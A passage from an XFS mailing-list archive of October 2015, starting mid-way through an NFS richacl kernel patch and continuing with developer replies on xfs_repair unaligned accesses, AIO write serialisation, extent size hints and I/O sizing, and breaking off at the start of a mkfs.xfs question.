!= 0) > goto out; > - > - xdr_enter_page(xdr, xdr->buf->page_len); > - > - /* Calculate the offset of the page data */ > - pg_offset = xdr->buf->head[0].iov_len; > - > if ((status = decode_attr_bitmap(xdr, bitmap)) != 0) > goto out; > if ((status = decode_attr_length(xdr, &attrlen, &savep)) != 0) > @@ -5286,24 +5409,28 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, > if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) > return -EIO; > if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { > - > - /* The bitmap (xdr len + bitmaps) and the attr xdr len words > - * are stored with the acl data to handle the problem of > - * variable length bitmaps.*/ > - res->acl_data_offset = xdr_stream_pos(xdr) - pg_offset; > - res->acl_len = attrlen; > - > - /* Check for receive buffer overflow */ > - if (res->acl_len > (xdr->nwords << 2) || > - res->acl_len + res->acl_data_offset > xdr->buf->page_len) { > - res->acl_flags |= NFS4_ACL_TRUNC; > - dprintk("NFS: acl reply: attrlen %u > page_len %u\n", > - attrlen, xdr->nwords << 2); > - } > + acl = decode_acl_entries(xdr, res->server); > + status = PTR_ERR(acl); > + if (IS_ERR(acl)) > + goto out; > + bitmap[0] &= ~FATTR4_WORD0_ACL; > } else > status = -EOPNOTSUPP; > > + status = -EIO; > + if (unlikely(bitmap[0])) > + goto out; > + > + status = decode_attr_mode(xdr, bitmap, &res->mode); > + if (status < 0) > + goto out; > + status = 0; > + > out: > + if (status == 0) > + res->acl = acl; > + else > + richacl_put(acl); > return status; > } > > diff --git a/fs/nfs/super.c b/fs/nfs/super.c > index 383a027..8ced33d 100644 > --- a/fs/nfs/super.c > +++ b/fs/nfs/super.c > @@ -2319,7 +2319,7 @@ void nfs_fill_super(struct super_block *sb, struct nfs_mount_info *mount_info) > /* The VFS shouldn't apply the umask to mode bits. We will do > * so ourselves when necessary. > */ > - sb->s_flags |= MS_POSIXACL; > + sb->s_flags |= MS_RICHACL; > sb->s_time_gran = 1; > } > > @@ -2346,7 +2346,7 @@ void nfs_clone_super(struct super_block *sb, struct nfs_mount_info *mount_info) > /* The VFS shouldn't apply the umask to mode bits. We will do > * so ourselves when necessary. > */ > - sb->s_flags |= MS_POSIXACL; > + sb->s_flags |= MS_RICHACL; > } > > nfs_initialise_sb(sb); > diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h > index c0e9614..b84e194 100644 > --- a/include/linux/nfs_fs.h > +++ b/include/linux/nfs_fs.h > @@ -176,7 +176,6 @@ struct nfs_inode { > wait_queue_head_t waitqueue; > > #if IS_ENABLED(CONFIG_NFS_V4) > - struct nfs4_cached_acl *nfs4_acl; > /* NFSv4 state */ > struct list_head open_states; > struct nfs_delegation __rcu *delegation; > diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h > index 570a7df..6c41668 100644 > --- a/include/linux/nfs_fs_sb.h > +++ b/include/linux/nfs_fs_sb.h > @@ -243,5 +243,7 @@ struct nfs_server { > #define NFS_CAP_ALLOCATE (1U << 20) > #define NFS_CAP_DEALLOCATE (1U << 21) > #define NFS_CAP_LAYOUTSTATS (1U << 22) > +#define NFS_CAP_ALLOW_ACLS (1U << 23) > +#define NFS_CAP_DENY_ACLS (1U << 24) > > #endif > diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h > index 090ade4..337c341 100644 > --- a/include/linux/nfs_xdr.h > +++ b/include/linux/nfs_xdr.h > @@ -683,9 +683,10 @@ struct nfs_setattrargs { > > struct nfs_setaclargs { > struct nfs4_sequence_args seq_args; > + const struct nfs_server * server; > struct nfs_fh * fh; > - size_t acl_len; > struct page ** acl_pages; > + size_t acl_len; > }; > > struct nfs_setaclres { > @@ -703,9 +704,9 @@ struct nfs_getaclargs { > #define NFS4_ACL_TRUNC 0x0001 /* ACL was truncated */ > struct nfs_getaclres { > struct nfs4_sequence_res seq_res; > - size_t acl_len; > - size_t acl_data_offset; > - int acl_flags; > + const struct nfs_server * server; > + struct richacl * acl; > + umode_t mode; > struct page * acl_scratch; > }; > > From agruenba@redhat.com Mon Oct 12 14:49:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 02B0E7F58 for ; Mon, 12 Oct 2015 14:49:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DAB2D304048 for ; Mon, 12 Oct 2015 12:49:22 -0700 (PDT) X-ASG-Debug-ID: 1444679358-04bdf020dacf950001-NocioJ Received: from mail-lb0-f180.google.com (mail-lb0-f180.google.com [209.85.217.180]) by cuda.sgi.com with ESMTP id WPBJrruETjWKXpkC (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 12 Oct 2015 12:49:19 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.180 Received: by lbwr8 with SMTP id r8so151951390lbw.2 for ; Mon, 12 Oct 2015 12:49:17 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=GOiWZjfxEzbnq50keKLRIwfjOtcgCcMayFaglTof2mI=; b=Uk3FnbDmOigq/Pb7Z7mpWAdr3OaEH06nEqjd2AhLe77giwcNkSpKHVXTEXo1S1lczu 1D/Y77H9VxX0n2FbcFsAPC/Zu7MxlKqDbTWtXhx0lQKZzgHARVENgn6+Uq12X7jkl6df YLkr8IkB7ErApK/oC0jPAw/xhS9uevgVmr9kjKPLvKGeK7qnNOqzRT87f96o84t77Fc1 hF3q385Sg6ywqdbuInNhlJWFG5rUzIPHBxzjeYxduD1dcAG5F9lU871Y+gH/th9cdonx +IbnZJiUHEBhD+3F2p35nzoWXWDmFrOjvUeVom1Z1iXNeiSR7VE3yt9Jl+h4tJl0+UYK ZzXQ== X-Gm-Message-State: ALoCoQnCLkMFZbUwQlZUjX5jRmdhUIEJ3j07DQ+brEWlnkwMq6uOugfj1dbP/VYKa8rfkNYx30F5 MIME-Version: 1.0 X-Received: by 10.112.64.72 with SMTP id m8mr12856872lbs.41.1444679357322; Mon, 12 Oct 2015 12:49:17 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Mon, 12 Oct 2015 12:49:17 -0700 (PDT) In-Reply-To: <561BC61E.6010704@Netapp.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-45-git-send-email-andreas.gruenbacher@gmail.com> <561BC61E.6010704@Netapp.com> Date: Mon, 12 Oct 2015 21:49:17 +0200 Message-ID: Subject: Re: [PATCH v10 44/46] nfs: Add richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v10 44/46] nfs: Add richacl support To: Anna Schumaker Cc: Andreas Gruenbacher , Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f180.google.com[209.85.217.180] X-Barracuda-Start-Time: 1444679358 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23428 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Anna, On Mon, Oct 12, 2015 at 4:39 PM, Anna Schumaker wrote: > I'm not a fan of the "one giant function" approach. Is there any way to split richacl_from_nfs4_acl() into several smaller functions? sure, parsing the usr/group identifier could be put in a separate function, for example. That function cannot stay as it is right now anyway --- we really need idmapper to tell us when an identifier string cannot be mapped to a uid or gid so that we can preserve that identifier. Thanks, Andreas From sandeen@sandeen.net Mon Oct 12 16:31:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 343597F5A for ; Mon, 12 Oct 2015 16:31:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 265058F8035 for ; Mon, 12 Oct 2015 14:31:35 -0700 (PDT) X-ASG-Debug-ID: 1444685493-04cb6c578adc5b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id XbEVAFH0nVz0B19s for ; Mon, 12 Oct 2015 14:31:33 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 6238663C3A31 for ; Mon, 12 Oct 2015 16:31:33 -0500 (CDT) Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> <20151011222618.GX27164@dastard> From: Eric Sandeen X-Enigmail-Draft-Status: N1110 Message-ID: <561C26B4.3080008@sandeen.net> Date: Mon, 12 Oct 2015 16:31:32 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151011222618.GX27164@dastard> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444685493 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/11/15 5:26 PM, Dave Chinner wrote: > On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: >> This fixes some unaligned accesses spotted by libubsan in repair. >> >> Signed-off-by: Eric Sandeen >> --- >> repair/dinode.c | 19 +++++++++---------- >> repair/prefetch.c | 4 ++-- >> 2 files changed, 11 insertions(+), 12 deletions(-) >> >> diff --git a/repair/dinode.c b/repair/dinode.c >> index f78f907..44bbb8f 100644 >> --- a/repair/dinode.c >> +++ b/repair/dinode.c >> @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), >> * btree, we'd do it right here. For now, if there's a >> * problem, we'll bail out and presumably clear the inode. >> */ >> - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { >> + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > > I don't understand - when are pointers in the BMBT not 64 bit > aligned? The buffers are allocated by memalign to be 64 bit aligned, > and all the internal BMBT structures are 64 bit aligned, too. i.e > the BMBT block header is 24/72 bytes in length (depending on CRCs), > the pointers are 64 bit, and the records are 128 bit. > > So where's the unaligned access coming from? Ok, so on a recheck, I'm not crazy w.r.t. what gcc said, anyway: dinode.c:964:26: runtime error: load of misaligned address 0x7fc4f800ef54 for type 'xfs_bmbt_ptr_t', which requires 8 byte alignment 0x7fc4f800ef54: note: pointer points here 00 00 00 00 00 00 00 00 00 20 38 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ^ with some added printfs, it came from: pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(XFS_DFORK_SIZE(dip, mp, whichfork), 0)); printf("dib at %p pp at %p\n", dib, pp); dib at 0x7fc4f800eeb0 pp at 0x7fc4f800ef54 so pp is at not an 8-multiple away from dib ...now how'd that happen? #define XFS_BMDR_PTR_ADDR(block, index, maxrecs) \ ((xfs_bmdr_ptr_t *) \ ((char *)(block) + \ sizeof(struct xfs_bmdr_block) + \ (maxrecs) * sizeof(xfs_bmdr_key_t) + \ ((index) - 1) * sizeof(xfs_bmdr_ptr_t))) xfs_bmdr_block is 32 bits, not 64. But everything in my patch is BMDR not BMBT, right? I don't think I ran into any problems in BMBT land, and #define XFS_BMBT_PTR_ADDR(mp, block, index, maxrecs) \ ((xfs_bmbt_ptr_t *) \ ((char *)(block) + \ XFS_BMBT_BLOCK_LEN(mp) + \ (maxrecs) * sizeof(xfs_bmbt_key_t) + \ ((index) - 1) * sizeof(xfs_bmbt_ptr_t))) all those offsets seem fine. -Eric From david@fromorbit.com Mon Oct 12 16:45:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B686D7F5E for ; Mon, 12 Oct 2015 16:45:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 529B4AC004 for ; Mon, 12 Oct 2015 14:45:37 -0700 (PDT) X-ASG-Debug-ID: 1444686334-04bdf020dcd5890001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id G1qs9QgcYeLmPtMX for ; Mon, 12 Oct 2015 14:45:35 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BTCgDKKBxWPCSkLHldgyaBQoZbokUBAQEBAQEGixuFGoYKgxOCCnkCAgEBAoE3TQEBAQEBAQcBAQEBQT+EJwEBBDocIxAIAxgJJQ8FJQMHGhOILcADAQEBAQEFAQEBAR4ZhhOFRYUNB4MagRQFhzyOV40SjySMZ4JxAx2BaCozhnEBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 08:15:33 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlkuS-0000FK-Qe; Tue, 13 Oct 2015 08:45:32 +1100 Date: Tue, 13 Oct 2015 08:45:32 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses Message-ID: <20151012214532.GC31326@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> <20151011222618.GX27164@dastard> <561C26B4.3080008@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561C26B4.3080008@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444686334 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 04:31:32PM -0500, Eric Sandeen wrote: > > > On 10/11/15 5:26 PM, Dave Chinner wrote: > > On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: > >> This fixes some unaligned accesses spotted by libubsan in repair. > >> > >> Signed-off-by: Eric Sandeen > >> --- > >> repair/dinode.c | 19 +++++++++---------- > >> repair/prefetch.c | 4 ++-- > >> 2 files changed, 11 insertions(+), 12 deletions(-) > >> > >> diff --git a/repair/dinode.c b/repair/dinode.c > >> index f78f907..44bbb8f 100644 > >> --- a/repair/dinode.c > >> +++ b/repair/dinode.c > >> @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > >> * btree, we'd do it right here. For now, if there's a > >> * problem, we'll bail out and presumably clear the inode. > >> */ > >> - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > >> + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > > > > I don't understand - when are pointers in the BMBT not 64 bit > > aligned? The buffers are allocated by memalign to be 64 bit aligned, > > and all the internal BMBT structures are 64 bit aligned, too. i.e > > the BMBT block header is 24/72 bytes in length (depending on CRCs), > > the pointers are 64 bit, and the records are 128 bit. > > > > So where's the unaligned access coming from? > > Ok, so on a recheck, I'm not crazy w.r.t. what gcc said, anyway: > > dinode.c:964:26: runtime error: load of misaligned address 0x7fc4f800ef54 for type 'xfs_bmbt_ptr_t', which requires 8 byte alignment > 0x7fc4f800ef54: note: pointer points here > 00 00 00 00 00 00 00 00 00 20 38 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > ^ > > with some added printfs, it came from: > > pp = XFS_BMDR_PTR_ADDR(dib, 1, > xfs_bmdr_maxrecs(XFS_DFORK_SIZE(dip, mp, whichfork), 0)); > printf("dib at %p pp at %p\n", dib, pp); > > dib at 0x7fc4f800eeb0 pp at 0x7fc4f800ef54 Ah, ok, it's in extent format in the inode fork, not in btree format in blocks. Let me go back and look at it again. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 17:23:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A44517F5F for ; Mon, 12 Oct 2015 17:23:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9374F304053 for ; Mon, 12 Oct 2015 15:23:50 -0700 (PDT) X-ASG-Debug-ID: 1444688593-04cbb00e840e2a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id UFUyrdbDEcECPWi7 for ; Mon, 12 Oct 2015 15:23:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DsCQBkMhxWPCSkLHldgyaBQoZbokUBAQEBAQEGixuLJIMTggp5BAICgTdNAQEBAQEBBwEBAQFBP4QmAQEBAwE6HCMFCwgDGAklDwUlAwcaCgmIJgfAFAEBAQcCAR8ZhhOEP4EGhDUPSQeDGoEUBZJUgz+NEoFgh16KBYRZg2+EeSozhSmBSAEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 08:53:12 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZllUu-0000LD-06; Tue, 13 Oct 2015 09:23:12 +1100 Date: Tue, 13 Oct 2015 09:23:11 +1100 From: Dave Chinner To: Avi Kivity Cc: Gleb Natapov , Eric Sandeen , Brian Foster , xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151012222311.GD31326@dastard> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> <5615FD76.1090309@scylladb.com> <20151008082307.GE11716@scylladb.com> <20151008114622.GV27164@dastard> <561BA970.8080504@scylladb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561BA970.8080504@scylladb.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444688593 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23434 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 03:37:04PM +0300, Avi Kivity wrote: > On 10/08/2015 02:46 PM, Dave Chinner wrote: > >On Thu, Oct 08, 2015 at 11:23:07AM +0300, Gleb Natapov wrote: > >>On Thu, Oct 08, 2015 at 08:21:58AM +0300, Avi Kivity wrote: > >>>>>>I fixed something similar in ext4 at the time, FWIW. > >>>>>Makes sense. > >>>>> > >>>>>Is there a way to relax this for reads? > >>>>The above mostly only applies to writes. Reads don't modify data so > >>>>racing unaligned reads against other reads won't given unexpected > >>>>results and so aren't serialised. > >>>> > >>>>i.e. serialisation will only occur when: > >>>> - unaligned write IO will serialise until sub-block zeroing > >>>> is complete. > >>>> - write IO extending EOF will serialis until post-EOF > >>>> zeroing is complete > >>> > >>>By "complete" here, do you mean that a call to truncate() returned, or that > >>>its results reached the disk an unknown time later? > >>> > >No, I'm talking purely about DIO here. If you do write that > >starts beyond the existing EOF, there is a region between the > >current EOF and the offset the write starts at. i.e. > > > > 0 EOF offset new EOF > > +dddddddddddddd+..............+nnnnnnnnnnn+ > > > >It is the region between EOF and offset that we must ensure is made > >up of either holes, unwritten extents or fully zeroed blocks before > >allowing the write to proceed. If we have to zero allocated blocks, > >then we have to ensure that completes before the write can start. > >This means that when we update the EOF on completion of the write, > >we don't expose stale data in blocks that were between EOF and > >offset... > > Thanks. We found, experimentally, that io_submit(write_at_eof) > followed by (without waiting) > io_submit(write_at_what_would_be_the_new_eof) occasionally blocks. Yes, that matches up with needing to wait for IO completion to update the inode size before submitting the next IO. > So I guess we have to employ a train algorithm here and keep at most > one aio in flight for append loads (which are very common for us). Or use prealloc that extends the file and on staartup use and algorithm that detects the end of data by looking for zeroed area that hasn't been written. SEEK_DATA/SEEK_HOLE can be used to do this efficiently... > >>I think Brian already answered that one with: > >> > >> There are no such pitfalls as far as I'm aware. The entire AIO > >> submission synchronization sequence triggers off an in-memory i_size > >> check in xfs_file_aio_write_checks(). The in-memory i_size is updated in > >> the truncate path (xfs_setattr_size()) via truncate_setsize(), so at > >> that point the new size should be visible to subsequent AIO writers. > >Different situation as truncate serialises all IO. Extending the file > >via truncate also runs the same "EOF zeroing" that the DIO code runs > >above, for the same reasons. > > Does that mean that truncate() will wait for inflight aios, or that > new aios will wait for the truncate() to complete, or both? Both. > >If you want to limit fragmentation without adding and overhead on > >XFS for non-sparse files (which it sounds like your case), then the > >best thing to use in XFS is the per-inode extent size hints. You set > >it on the file when first creating it (or the parent directory so > >all children inherit it at create), and then the allocator will > >round out allocations to the size hint alignment and size, including > >beyond EOF so appending writes can take advantage of it.... > > We'll try that out. That's fsxattr::fsx_extsize? *nod* > What about small files that are eventually closed, do I need to do > anything to reclaim the preallocated space? Truncate to the current size (i.e. new size = old size) will remove the extents beyond EOF, so will punching a hole from EOF for a distance larger than the extent size hint. > >>>A final point is discoverability. There is no way to discover safe > >>>alignment for reads and writes, and which operations block io_submit(), > >>>except by asking here, which cannot be done at runtime. Interfaces that > >>>provide a way to query these attributes are very important to us. > >>As Brian pointed statfs() can be use to get f_bsize which is defined as > >>"optimal transfer block size". > >Well, that's what posix calls it. It's not really the optimal IO > >size, though, it's just the IO size that avoids page cache RMW > >cycles. For direct IO, larger tends to be better, and IO aligned to > >the underlying geometry of the storage is even better. See, for > >example, the "largeio" mount option, which will make XFS report the > >stripe width in f_bsize rather than the PAGE_SIZE of the machine.... > > > > Well, random reads will still be faster with 512 byte alignment, > yes? Define "faster". :) If you are talking about minimal latency, then an individual IO will be marginally faster. If you are worried about bulk throughput, then you storage will be IOPS bound (hence destroying latency determinism) and it won't be faster by any metric you care to measure because you'll end up with blocking in the request queues during submission... > and for random writes, you can't just make those I/Os larger, > you'll overwrite something. > > So I read "optimal" here to mean "smallest I/O size that doesn't > incur a penalty; but if you really need more data, making it larger > will help". You hit the nail on the head. For an asynchornous IO engine like you seem to be building, I'd be aiming for an IO size that maximises the bulk throughput to/from the storage devices, rather than one that aims for minimum latency on any one individiual IO. i.e. aim for the minimum IO size that acheives >80% of the usable bandwidth the storage device has... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 19:23:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A0987F37 for ; Mon, 12 Oct 2015 19:23:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EC4268F8035 for ; Mon, 12 Oct 2015 17:23:50 -0700 (PDT) X-ASG-Debug-ID: 1444695826-04cb6c5786e5250001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id AiDdeHQLmTPYG7Y4 for ; Mon, 12 Oct 2015 17:23:47 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CoCgCGThxWPCSkLHldgyaBQoZbokUBAQEBAQEGix2LJIMTggp5BAICgTNNAQEBAQEBBwEBAQFBP4QmAQEBAwE6HCMFCwgDGAklDwUlAwcaE4gmB8AvAQEBBwIBHxmGE4VFhQ0HhC4FlhSNEo50jReEeSozhnEBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 10:53:08 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlnMy-0000Vv-7S; Tue, 13 Oct 2015 11:23:08 +1100 Date: Tue, 13 Oct 2015 11:23:08 +1100 From: Dave Chinner To: "Al Lau (alau2)" Cc: "xfs@oss.sgi.com" Subject: Re: mkfs.xfs -n size=65536 Message-ID: <20151013002308.GI27164@dastard> X-ASG-Orig-Subj: Re: mkfs.xfs -n size=65536 References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444695827 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Fri, Oct 09, 2015 at 10:40:00PM +0000, Al Lau (alau2) wrote: > I am looking for more details on the "-n 